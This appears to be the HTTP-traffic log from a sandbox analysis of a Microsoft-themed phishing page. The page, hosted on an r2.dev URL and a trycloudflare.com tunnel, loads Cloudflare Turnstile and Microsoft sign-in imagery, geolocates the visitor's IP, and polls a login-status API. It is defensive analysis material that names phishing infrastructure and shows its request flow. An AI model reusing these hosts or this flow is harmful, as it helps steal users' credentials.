Source: global traffic	HTTP traffic detected: GET /packages/lf20_zw0djhar.json HTTP/1.1Host: assets5.lottiefiles.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.devSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onTurnstileLoad HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mAXoIkgd8xZRsO2j/scene.splinecode HTTP/1.1Host: prod.spline.designConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.devSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/708f7a809116/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /packages/lf20_zw0djhar.json HTTP/1.1Host: assets5.lottiefiles.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/zz6pz/0x4AAAAAABCuJE5Ktf6oSQ3-/light/fbE/new/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeSec-Fetch-Storage-Access: activeReferer: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=92701908ae6742b3&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/zz6pz/0x4AAAAAABCuJE5Ktf6oSQ3-/light/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/zz6pz/0x4AAAAAABCuJE5Ktf6oSQ3-/light/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: pub-11f9de1b0e4f4601832881cc81c7f83a.r2.devConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/index.html?c09c9db3e8e5892600c8d7f2f14ef5Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1724061149:1743089315:EMoHy6tP5s_faUJaiGGQjDzpUCZ-IXmoKjRPKtyfjNU/92701908ae6742b3/QGMTvrxpL04SD86C4DCU3cAz_O2wDlGKriHirMKJqc0-1743091196-1.1.1.1-x2CMD_19YFVLezhV63fRsMpm9knHTAFOF6LoQppvyzb_aY7ejnw9vfi4rxdcO5XZ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/92701908ae6742b3/1743091197430/d08ea8eaa8cb9725cb4a73d18d3b569d2d31ee596bf42018d105be218ee89eda/6ek1GWujbLZ5Njf HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/zz6pz/0x4AAAAAABCuJE5Ktf6oSQ3-/light/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/d/92701908ae6742b3/1743091197434/Wq3PwaYUU2uWS78 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/zz6pz/0x4AAAAAABCuJE5Ktf6oSQ3-/light/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/d/92701908ae6742b3/1743091197434/Wq3PwaYUU2uWS78 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1724061149:1743089315:EMoHy6tP5s_faUJaiGGQjDzpUCZ-IXmoKjRPKtyfjNU/92701908ae6742b3/QGMTvrxpL04SD86C4DCU3cAz_O2wDlGKriHirMKJqc0-1743091196-1.1.1.1-x2CMD_19YFVLezhV63fRsMpm9knHTAFOF6LoQppvyzb_aY7ejnw9vfi4rxdcO5XZ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1724061149:1743089315:EMoHy6tP5s_faUJaiGGQjDzpUCZ-IXmoKjRPKtyfjNU/92701908ae6742b3/QGMTvrxpL04SD86C4DCU3cAz_O2wDlGKriHirMKJqc0-1743091196-1.1.1.1-x2CMD_19YFVLezhV63fRsMpm9knHTAFOF6LoQppvyzb_aY7ejnw9vfi4rxdcO5XZ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframeSec-Fetch-Storage-Access: activeReferer: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: cdn.tailwindcss.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /3.4.16 HTTP/1.1Host: cdn.tailwindcss.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_call_c2616792e1950f83fdef6e72dab97293.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_call_c2616792e1950f83fdef6e72dab97293.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/get-branding HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /@lottiefiles/lottie-player@latest/dist/lottie-player.js.map HTTP/1.1Host: unpkg.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /@lottiefiles/lottie-player@2.0.12/dist/lottie-player.js.map HTTP/1.1Host: unpkg.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api.ipify.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://button-students-container-titans.trycloudflare.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api.ipify.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /45.92.229.138/json/ HTTP/1.1Host: ipapi.coConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://button-students-container-titans.trycloudflare.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /45.92.229.138/json/ HTTP/1.1Host: ipapi.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/login HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090035 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090035 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090035 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090035 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090035 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090035 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090035 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090035 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/status/login_20250327_090035 HTTP/1.1Host: button-students-container-titans.trycloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://button-students-container-titans.trycloudflare.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
